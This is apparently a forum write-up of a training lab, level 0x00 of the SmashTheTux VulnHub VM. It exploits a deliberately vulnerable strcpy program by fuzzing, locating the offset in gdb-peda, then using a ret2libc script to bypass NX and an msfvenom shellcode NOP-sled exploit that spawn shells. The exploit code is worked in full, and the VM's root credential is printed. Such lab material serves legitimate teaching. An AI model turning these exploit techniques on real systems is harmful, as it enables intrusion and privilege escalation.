△ [VuInHub] SmashTheTux - Chapter 0x00 - Basic Buffer Overflow & Ret2libc

■ Exploit Development exploit



petruknisme

Jul 9

SmasTheTux is Vulnerable VM hosted by VulnHub 13 and created by CanYouPwnMe 7

Disclaimer

This is for educational purpose and I will try to explain this tutorial with beginner-friendly explanation as I can.

SmashTheTux is a new VM made by canyoupwn.me (11) for those who wants to take a step into the world of binary exploitation. This VM consists of 9 challenges, each introducing a different type of vulnerability. SmashTheTux covers basic exploitation of the following weaknesses:

- Stack Overflow Vulnerability
- Off-by-One Vulnerability
- Integer Overflow
- Format String Vulnerability
- Race Conditions
- File Access Weaknesses
- Heap Overflow Vulnerability

VM Description:

Name....: SmashTheTux: 1.0.1

Date Release: 1 Apr 2016
Author....: CanYouPwn.Me
Series....: SmashTheTux

Objective...: Leveling up from user

```
Tester(s)...: h1tch1
Twitter....: https://twitter.com/D4rk36
Credential..: tux:tux,root:1N33dP0w3r
Filename...: SmashTheTux_v1.0.1.7z
File size...: 616 MB
MD5.....: 63FEDA288163D9155B1BF84D1C6C2814
SHA1....: 01DCB1AB85B139A386AD97B41190731509612F59
```

Download link: https://www.vulnhub.com/entry/smashthetux-101,138/ 17

Summary

In this first series, I will cover two topic:

- Bypassing NX using ret2libc
- Exploiting with execstack enable

Initial Setup

Login to SmasTheTux VM using Virtualbox, VMWare or other virtualization clients with the above credentials and then get the IP address from that for easy access:

```
tux@tux:~$ ip a show etho

2: etho: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 100

0

link/ether 00:0c:29:4e:db:39 brd ff:ff:ff:ff:ff
inet 192.168.2.125/24 brd 192.168.2.255 scope global etho
    valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:fe4e:db39/64 scope link
    valid_lft forever preferred_lft forever

tux@tux:~$ _
```

SSH

We will use ssh for remoting the VM because it's easy to use rather than debugging in the VM without scroll function, copy paste and other function.

```
ssh tux@192.168.2.125
The authenticity of host '192.168.2.125 (192.168.2.125)' can't be establis
ECDSA key fingerprint is SHA256:f/.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.125' (ECDSA) to the list of known ho
```

After successful login, we can see a list of files and tutorials for completing these challenges:

```
tux@tux:~$ ls -al
total 288
drwxr-xr-x 12 tux tux 4096 Mar 12 2016 .
drwxr-xr-x 3 root root 4096 Mar 11 2016 ..
drwxr-xr-x 2 tux tux 4096 Mar 11 2016 0x00
drwxr-xr-x 2 tux tux 4096 Mar 11 2016 0x01
drwxr-xr-x 2 tux tux 4096 Mar 12 2016 0x02
drwxr-xr-x 2 tux tux 4096 Mar 12 2016 0x03
```

```
drwxr-xr-x 2 tux tux
                       4096 Mar 12 2016 0x04
drwxr-xr-x 2 tux tux
                       4096 Mar 12 2016 0x05
drwxr-xr-x 2 tux tux
                       4096 Mar 12 2016 0x06
                       4096 Mar 12 2016 0x07
drwxr-xr-x 2 tux tux
                       4096 Mar 12 2016 0x08
drwxr-xr-x 2 tux tux
drwxr-xr-x 2 tux tux
                       4096 Mar 12 2016 0x09
                          9 Mar 11 2016 .bash_history -> /dev/null
lrwxrwxrwx 1 tux tux
                        220 Mar 11 2016 .bash_logout
-rw-r--r-- 1 tux tux
                       3545 Mar 11 2016 .bashrc
-rw-r--r-- 1 tux tux
                          9 Mar 11 2016 .nano_history -> /dev/null
lrwxrwxrwx 1 tux tux
-rw-r--r-- 1 tux tux 675 Mar 11 2016 .profile
                        679 Mar 12 2016 README
-rw-r--r-- 1 tux tux
-rw-r--r-- 1 tux tux 20871 Mar 12 2016 TUTORIAL_formatstring
-rw-r--r-- 1 tux tux 91044 Mar 11 2016 TUTORIAL_heapoverflow
-rw-r--r- 1 tux tux 27657 Mar 11 2016 TUTORIAL_integerbugs
-rw-r--r-- 1 tux tux 18657 Mar 11 2016 TUTORIAL offbyone
```

For someone who have experienced with Protostar 5, this machine challenges is identical with that.

Level 0x00

We have binary file with the source code available:

```
// gcc pwnme.c -o pwnme -fno-stack-protector
#include <stdio.h>
#include <string.h>

void vuln( char * arg ) {
        char buf[256];
        strcpy(buf, arg);
}

int main(int argc, char **argv) {
        printf("Val: %s\n", argv[1]);
        vuln(argv[1]);
```

```
return 0;
}
```

The above code consist of vulnerable function:

- main() function take the input as argv[1] and the pass the value to vuln() function
- char buf[256]; define the buf variable with 256 bytes in length.
- strcpy(buf, arg); copying buffer from main() to arg variable

We know that strcpy(3) is a very unsafe function call in the C library and we should use strlcpy(3) or snprintfinstead.

Why? Because by default no check for the size of data that will fit in the local buffer and blindly copies the data.

Fuzzing

We know that maximum length is 256 bytes for the user input defined before. We can use little python script for fuzzing the input in case we don't know the offset address:

```
# tux@tux:~/0x00$ cat fuzz.py
import os

buffer=["A"]
counter=100

while len(buffer) <= 30:
    buffer.append("A" * counter)
    counter=counter+100

for string in buffer:
    print("Fuzzing %s bytes" % len(string))
    os.system("./pwnme %s" % string)</pre>
```

Explanation:

- Define first buffer as 100 bytes and then increase by 100 bytes per loop
- Copy buffer to program parameter as an argument

It will show this result:

```
tux@tux:~/0x00$ python fuzz.py
Fuzzing 1 bytes
Val: A
Fuzzing 100 bytes
Fuzzing 200 bytes
Fuzzing 300 bytes
Segmentation fault
Fuzzing 400 bytes
Segmentation fault
Fuzzing 500 bytes
Segmentation fault
----- long result cut ------
```

From the above result, the program starting to crash/segmentation fault when we use 300 bytes as the input parameter. But what number exactly trigger that segfault? How to find the missing one? Let's use gdb-peda for doing this job. I will prefer gdb-peda instead of gdb for easy to use and more friendly.

Install Gdb-Peda

Don't forget to check if gdb is existed in the machine before using gdb-peda.

```
tux@tux:~/0x00$ gdb -v
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
```

```
License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see: <a href="http://www.gnu.org/software/gdb/bugs/">http://www.gnu.org/software/gdb/bugs/</a>>.
Find the GDB manual and other documentation resources online at: <a href="http://www.gnu.org/software/gdb/documentation/">http://www.gnu.org/software/gdb/documentation/</a>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
```

Because of a limited package in the remote machine, we need to download gdb-peda in local and then copy to the server using SCP or FTP.

```
# in host machine
git clone https://github.com/longld/peda.git /home/user/peda
scp -r /home/user/peda tux@192.168.2.125:/home/tux

# from the tux machine
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"
```

We can check if peda is successfully installed with just running the gdb and see the result:

```
tux@tux:~/0x00$ gdb ./pwnme
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
```

```
Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<http://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:

<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type "apropos word" to search for commands related to "word"...

Reading symbols from ./pwnme...(no debugging symbols found)...done.

gdb-peda$
```

Nah, we have gdb-peda installed. Let's do some check for binary security of that file. This is the first thing that I would do when starting Linux binary exploitation:

```
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
```

Hm... NX is enabled. So, what this means is that we can't execute our payload/shellcode in stack address because of NX(Non-Executable stack) prevention. Since the processor is not allowed to execute instructions placed on the stack.

In order to bypass this mechanism, We can use ret2lib(return to libc or return to the C library) technique. In the simple definition, this attack doesn't require any shellcode to take control of the target vulnerable process because we can invoke classic built-in functions such as "system, exit, etc".

For more information about ret2libc, you can look at @loTh1nkN0t explanation Exploiting Techniques \000 - ret2libc 14

Finding Patterns

As we know that our program crash when using 300 bytes as input parameter, this is will be our clue for creating a pattern and finding the right offset with gdb-peda.

```
gdb-peda$ pattern create 300
'AAA%AASAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAAOAAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAA
gdb-peda$ run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAAOAAFAAbAA1AAGAAcA
Starting program: /home/tux/0x00/pwnme 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)
Val: AAA%AASAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAAOAAFAAbAA1AAGAACAA2AAHAAdAA
Program received signal SIGSEGV, Segmentation fault.
[-----registers-----
EAX: 0xbffff4b0 ("AAA%AASAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGA
EBX: 0xbffff5f0 --> 0x2
ECX: 0xbffff8e0 ("A%5A%KA%qA%6A%")
EDX: 0xbffff5ce ("A%5A%KA%gA%6A%")
ESI: 0x0
EDI: 0x0
EBP: 0x64254148 ('HA%d')
ESP: 0xbffff5c0 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
EIP: 0x41332541 ('A%3A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction ov
[-----code-----
Invalid $PC address: 0x41332541
[-----stack-----
0000| 0xbffff5c0 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0004| 0xbffff5c4 ("eA%4A%JA%fA%5A%KA%gA%6A%")
0008 | 0xbffff5c8 ("A%JA%fA%5A%KA%gA%6A%")
0012| 0xbffff5cc ("%fA%5A%KA%gA%6A%")
```

Aha! We got a signal from our Lord with SIGSEGV(Segmentation Fault). From my experience, this is a possible signal to overflow the buffer. We get the offset at the end of result 0x41332541.

We can check information register for EIP, EBP, ESP:

```
      gdb-peda$ i r eip esp ebp

      eip
      0x41332541
      0x41332541

      esp
      0xbffff5c0
      0xbffff5c0

      ebp
      0x64254148
      0x64254148
```

What's next? checking the correct offset address:

```
gdb-peda$ pattern offset 0x41332541
1093870913 found at offset: 268
```

Now, this is what we got so far:

- EIP Offset 0x41332541
- Offset Number 268
- NX Enabled.

Exploiting with NX Enabled

First, We need to check if ASLR is enabled or not

```
$ cat /proc/sys/kernel/randomize_va_space
0
```

Good, ASLR is disabled for this machine. So, it will be easy for us because the address space value is not dynamically changed.

```
linux-gate.so.1 (0xb7ffd000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e46000)
/lib/ld-linux.so.2 (0x80000000)
```

As we can see "libc" address is the same every time we check with ldd.

Finding Functions Address

For this purpose, We only need system(), /bin/sh, and exit() function. We will use system function and passing a shell as an argument and then invoke the exit function in order to terminate our system call. Start the program first.

```
gdb-peda$ start
[-----registers-----
EAX: 0x1
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0xbffff730 --> 0x1
EDX: 0xbffff754 --> 0xb7fcf000 --> 0x1a8da8
ESI: 0x0
EDI: 0x0
EBP: 0xbffff718 --> 0x0
ESP: 0xbffff710 --> 0xbffff730 --> 0x1
EIP: 0x804845a (<main+15>: mov
                              ebx,ecx)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction over
0x8048456 <main+11>: mov
                        ebp,esp
  0x8048458 <main+13>: push
                        ebx
  0x8048459 <main+14>: push
                        ecx
=> 0x804845a <main+15>: mov
                        ebx,ecx
  0x804845c <main+17>: mov
                        eax, DWORD PTR [ebx+0x4]
                       eax,0x4
  0x804845f <main+20>: add
  0x8048462 <main+23>: mov
                        eax, DWORD PTR [eax]
  0x8048464 <main+25>: sub esp,0x8
[-----stack----
0000| 0xbfffff10 --> 0xbfffff730 --> 0x1
```

After that, we can find the address we need.

```
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f85a69 ("/bin/sh")
gdb-peda$ p &exit
$1 = (<text variable, no debug info> *) 0xb7e571b0 <__GI_exit>
gdb-peda$ p &system
$2 = (<text variable, no debug info> *) 0xb7e643e0 <__libc_system>
```

Explanation:

- system() address is 0xb7e643e0
- exit() address is 0xb7e571b0
- /bin/sh address 0xb7f85a69

Creating Payload

We can use this formula from the information we gathered before:

```
Bytes Offset + System Address + Exit Address + Shell Address
```

```
268 + 0xb7e643e0 + 0xb7e571b0 + 0xb7f85a69
```

We can use python for doing exploitation

```
# cat bypass_nx.py
from struct import *

buf = ""
buf += "X" * (268)
buf += pack("<L",0xb7e643e0) #system() address
buf += pack("<L",0xb7e571b0) #exit() address</pre>
```

```
buf += pack("<L",0xb7f85a69 ) #/bin/sh call address</pre>
print buf
Time to exploit
tux@tux:~/0x00$ ./pwnme $(python bypass_nx.py)
$ ps
  PID TTY
                TIME CMD
  816 pts/0
             00:00:00 bash
 1092 pts/0
             00:00:00 pwnme
 1094 pts/0
             00:00:00 sh
 1098 pts/0
             00:00:00 ps
$ echo $0
/bin/sh
Horrraaaayyyyyyyy! We can spawn new shell.
 In the end, We will return to libc
```

[BONUS] Exploiting with NX Disable

By default, the program compiled with NX protection and not allowed for executes the payload in stack address. For this bonus section, we can recompile using execstack parameter for gcc.

```
mv pwnme pwnme-nx
gcc pwnme.c -o pwnme -fno-stack-protector -z execstack
```

Check with gdb-peda.

```
tux@tux:~/0x00$ gdb pwnme
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
```

```
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<a href="http://www.gnu.org/software/gdb/bugs/">http://www.gnu.org/software/gdb/bugs/</a>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from pwnme...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY
          : disabled
FORTIFY : disabled
         : disabled
NX
PIE
         : disabled
RELRO : disabled
```

As you can see, NX protection is disabled for now. We need to know where we will jump by checking the jmp call eax address.

Searching for jmp/eax call, this information will be useful when overwritting EIP Address.

```
gdb-peda$ jmpcall
0x8048393 : call eax
0x80483cd : call edx
0x8048420 : call edx
0x80485b7 : jmp [eax]
0x8049393 : call eax
0x80493cd : call edx
0x8049420 : call edx
0x80495b7 : jmp [eax]
```

We will use 0x8048393 : call eax and note this address as return address.

Now, this is what we got so far:

- EIP Offset 0x41332541
- Offset Number 268
- return address 0x8048393
- padding/nop => 268 shellcode buf 4

We know that our offset is 268 and here is the formula I used:

Padding + shellcode buf + return address

Generating Payload

For this purpose, we need Venom for creating the payload because Spiderman is far from home :P. I think 268 bytes is enough for basic exec linux payload. You may use other shellcode than venom. I'm just prefer this for easy to use. I'm exclude "\x00\x0a\0d" from shellcode payload as bad character.

```
L msfvenom -p linux/x86/exec CMD=/bin/bash -a x86 --platform linux -f pytho
WARNING: Nokogiri was built against LibXML version 2.9.8, but has dynamicall
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 72 (iteration=0)
x86/shikata_ga_nai chosen with final size 72
Payload size: 72 bytes
Final size of python file: 358 bytes
buf = ""
buf += "\xb8\x72\x71\x70\x34\xda\xc8\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x0c\x83\xea\xfc\x31\x42\x0f\x03\x42\x7d\x93"
buf += "\x85\x5e\x8a\x0b\xff\xcd\xea\xc3\xd2\x92\x7b\xf4\x45"
buf += "\x7a\x08\x93\x95\xec\xc1\x01\xff\x82\x94\x25\xad\xb2"
buf += "\xac\xa9\x52\x43\x9f\xcb\x3b\x2d\xf0\x69\xdd\xc2\x66"
buf += "\x6e\x4a\x76\xff\x8f\x8f\xb9\xf8"
```

Okay, time for generating our final payload:

```
import os
# linux/x86/exec CMD=/bin/bash payload
# bad char : "\x00\x0a\0d"
buf = ""
buf += "\xb8\x72\x71\x70\x34\xda\xc8\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x0c\x83\xea\xfc\x31\x42\x0f\x03\x42\x7d\x93"
buf += "\x85\x5e\x8a\x0b\xff\xcd\xea\xc3\xd2\x92\x7b\xf4\x45"
buf += "\x7a\x08\x93\x95\xec\xc1\x01\xff\x82\x94\x25\xad\xb2"
buf += "\xac\xa9\x52\x43\x9f\xcb\x3b\x2d\xf0\x69\xdd\xc2\x66"
buf += "\x6e\x4a\x76\xff\x8f\xb9\xf8"
# define offset
offset = 268
# (268 - 72) - 4 = 192
padding = (offset - len(buf)) - 4
# NOPSLED as identifer with total offset - size of the buf
payload = "\x90" * padding + buf
# overwrite EIP to jump to 'call eax' in little endians
payload += "\x93\x83\x04\08"
```

With that script, you don't need to worry thinking of how many padding you should use.

Time to exploit:

```
1335 pts/0
            00:00:00 bash
1437 pts/0
           00:00:00 ps
tux@tux:~/0x00$ ./pwnme $(python exploit.py)
0001BB}00^0
                                       0000F{0E0000000000000RC00;-0
tux@tux:/home/tux/0x00$ echo $$
1440
tux@tux:/home/tux/0x00$ ps
 PID TTY
               TIME CMD
           00:00:00 bash
1335 pts/0
1439 pts/0
           00:00:00 sh
1440 pts/0
           00:00:00 bash
1445 pts/0
           00:00:00 ps
tux@tux:/home/tux/0x00$
```

Horraaayyy!


I will discuss Level 0x01 in the next series of SmashTheTux. Feedback are welcome <3. See ya!

Reference:

- https://cwe.mitre.org/data/definitions/120.html 2
- https://www.freebsd.org/cgi/man.cgi?query=strlcpy&sektion=3
- https://github.com/ebtaleb/peda_cheatsheet/blob/master/peda.md
- https://chortle.ccsu.edu/AssemblyTutorial/Chapter-15/ass15_3.html
- https://www.shellblade.net/docs/ret2libc.pdf
- https://decoder.cloud/2017/06/15/simple-aslrnx-bypass-on-a-linux-32-bit-binary/ (1
- https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/ 1
- https://reboare.github.io/bof/linux-stack-bof-3.html 1
- https://www.coengoedegebure.com/buffer-overflow-attacks-explained/ 4









Thanks for the writeup, nice and methodical.

Can clarify something for me tho, when building the exploit, you construct it as follows

Bytes Offset + System Address + Exit Address + Shell Address

Is that because the EIP is overwritten with System() address and will jump into the System call, which expects the first item on the stack as its parameter (in this case the Shell Address, as its the second item to be pushed on by your exploit code, so the first to be popped by system()) then the ESP from the system function's perspective is pointing to Exit() to leave the application when you return from the system call.







petruknisme



Hi @Nekiruy,

As far as I know, the stack address which initially contained with EIP will be overwritten and contains an address to the system() when system() is executing.

For more information about ret2libc, you can look at @IoTh1nkN0t explanation Exploiting Techniques \\000 - ret2libc 6







Suggested Topics

Topic	Replies	Activity
Windows 7 after the Supportend Exploit Development windows	13	4d
HackTheBox Write-Up - Access ■ Hackthebox Writeups	18	May 28
HackTheBox Write-Up - Help ■ Hackthebox Writeups	5	Jun 10
CRACKME RE/Math challenge MEDIUM (Decrypt the hidden message) ■ Challenges cracking, crackme, re	6	Dec '18
Python adventures 01 ■ Challenges	6	4d

Create PDF in your applications with the Pdfcrowd HTML to PDF API

Want to read more? Browse other topics in ■ Exploit Developm... or view latest topics.